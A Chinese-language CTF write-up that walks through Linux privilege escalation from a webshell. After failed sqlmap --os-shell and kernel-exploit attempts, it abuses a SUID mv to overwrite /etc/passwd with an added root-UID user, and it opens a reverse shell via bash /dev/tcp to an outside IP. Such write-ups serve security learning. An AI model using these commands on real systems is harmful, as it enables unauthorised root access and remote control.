前提背景:
一、sqlmap --os-shell 提权
看到当前用户是DBA都会想着 --os-shell 提权拿shell, 然后直接读取 /root 里面的 flag。 然而我试了半天,一直无法获取shell, 卡在无法写入文件。查阅资料发现自己一直对数据库的root有误解:
综上,此法无效。
二、内核提权:
目标服务器版本信息:
运行 linux-exploit-suggester.sh 脚本根据当前linux版本查询可利用内核提权程序
下载了好几个截图中内核提权的.c源代码进行编译,然而没一个有用,不想找了,遂放弃。
三、SUID 提权:
ps:常见的suid提权文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
使用开源工具 suidcheck.sh 自动分析具有 s 权限的可执行文件:
存在 mv 命令,利用 mv 提权:
(www-data:/var/www/html/uploads) $ cat /etc/passwd > passwd
(www-data:/var/www/html/uploads) $ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
构造成:
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
插入 passwd
mv 移动 passwd 覆盖 /etc 下的 passwd:
使用 su hack 进行用户切换,提示:su: must be run from a terminal
查阅资料解决方法:python -c 'import pty; pty.spawn("/bin/bash")'
,但是我输入一直报错,非常难受…
我怀疑是蚁剑的问题,我又换上了我的哥斯拉,依旧是这样。我在想要不试试反弹个shell, 因为蚁剑,哥斯拉都是php落地文件执行命令,不是一个shell。
反弹shell 命令:bash -i >/dev/tcp/43.136.46.254/1333 0>&1
难道思路又错了??我特么就不信了,在 Stackoverflow论坛里找到相关解决方案:
ps: 成功反弹shell,值得注意的是: 有时候会报错,建议尝试执行1-3遍。
在自己的服务器上执行 python 脚本:python -c 'import pty; pty.spawn("/bin/bash")'
无报错,执行 su hack 切换用户,并输入密码:
提权成功!开始读取 /root 下的 flag: